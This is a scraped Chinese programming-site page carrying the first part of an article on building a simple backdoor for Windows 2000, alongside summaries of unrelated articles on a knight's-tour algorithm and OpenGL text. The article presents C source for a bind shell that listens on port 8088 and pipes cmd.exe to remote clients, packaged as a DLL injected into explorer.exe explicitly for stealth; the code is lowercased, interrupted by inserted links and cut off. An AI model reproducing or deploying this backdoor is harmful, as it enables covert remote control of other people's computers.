当前位置:首页 » 软件开发
开发技术指南» 文章正文
    引言: 不知道大家用过ncx99.exe没有,这个小工具很有用,运行后,它BIND到一个端口,并接管cmd.exe的输入输出,使得远程用户得到一个SHELL来实现各种操作,不需要特别的客户端,只要用WINDOWS自带的TELNET客户端就可以了。
 

 

 ·马走日棋盘算法    »显示摘要«
    摘要: 问题描述在给定大小的方格状棋盘上, 将棋子”马”放在指定的起始位置 , 棋子”马” 的走子的规则为必须在棋盘上走”日”字; 从棋子”马”的起始位置开始, 搜索出一条可行的路径, 使得棋子”马”能走遍棋盘上的所有落子点, 而且每个落子点只能走一次; 例如: 棋盘大小为5*5 , 棋子马放的起始落子点为 ( 3 , 3 ) ; 算法需要搜索一条从位置( 3 , 3 ) 开始的一条包括......
 ·opengl 下的文字显示    »显示摘要«
    摘要: 一直以来,opengl状态下的文字显示都是一个问题,本文使用嵌套显示列表的方式进行opengl状态下的字符串的显示。 有以下几点需要注意: 1:本程序显示按照给定的高度和文字的位置显示某一种字体的文字,其中一些字体的参数定义在opengltext内部给定,可以随意将它抽出来。如果将代码用于实际应用中,建议文字的文字间距自己设定,也可以随意添加文字的倾斜角、旋转角度、定位方式等等参数。 ......


WINDOWS2000下一个简单的后门实现

不知道大家用过ncx99.exe没有,这个小工具很有用,运行后,它bind到一个端口,并接管cmd.exe的输入输出,使得远程用户得到一个shell来实现各种操作,不需要特别的客户端,只要用windows自带的telnet客户端就可以了.

先给出dll的source code: 【程序编程相关:Win32下对多个的线程句柄的关闭的控制

下面我给出类似这个工具的source code,我这个工具与ncx99.exe有点不一样,用到了远程线程插入技术,将ncx99.exe功能封装在一个dll里,然后将dll插入到explorer.exe进程里,使得程序运行后无进程,增强了隐蔽性. 【推荐阅读:数字签名(ms)

// test.cpp : defines the entry point for the dll application. 【扩展信息:http://www.myfaq.com

//

#include "stdafx.h"

#include 

#define iport 8088

 

static void winapi threadproc(void* pvoid)

{

wsadata wsa;

socket serverfd;

char buff[1024];

wsastartup(makeword(2,2),&wsa);//初始化winsock

serverfd = socket(af_inet,sock_stream,ipproto_tcp);

struct sockaddr_in server;

server.sin_family = af_inet;

server.sin_port = htons(iport);

server.sin_addr.s_addr=addr_any;

int ret=bind(serverfd,(sockaddr *)&server,sizeof(server));

ret=listen(serverfd,4);

int iaddrsize = sizeof(server);

re: socket clientfd=accept(serverfd,(sockaddr *)&server,&iaddrsize);//每次操作完成连接断开后程序

//返回这里继续阻塞,等待客户端连接

security_attributes sa;

sa.nlength=12;

sa.lpsecuritydeor=0;

sa.binherithandle=true;

handle hreadpipe1,hwritepipe1,hreadpipe2,hwritepipe2;

ret=createpipe(&hreadpipe1,&hwritepipe1,&sa,0);//创建两个匿名管道

ret=createpipe(&hreadpipe2,&hwritepipe2,&sa,0);


...   下一页
    摘要: 如何在vc6或者vc7下用 atl做一个opengl的(com)控件? 目的:由于在写opengl程序的时候这些东西每次都要写一遍,而且特别繁琐!为了刚步入opengl人提供一个界面控件,让他们较早的看到自己写的opengl程序的效果!让他们觉得opengl的神奇! 作者:王卫星(wangweixing2000) 1, 新建一个atl空项目(项目名opengl_atl) 2, 添加一个a......
» 本期热门文章:

©2000-2007 All Rights Reserved. 最佳浏览:1024X768 MSIE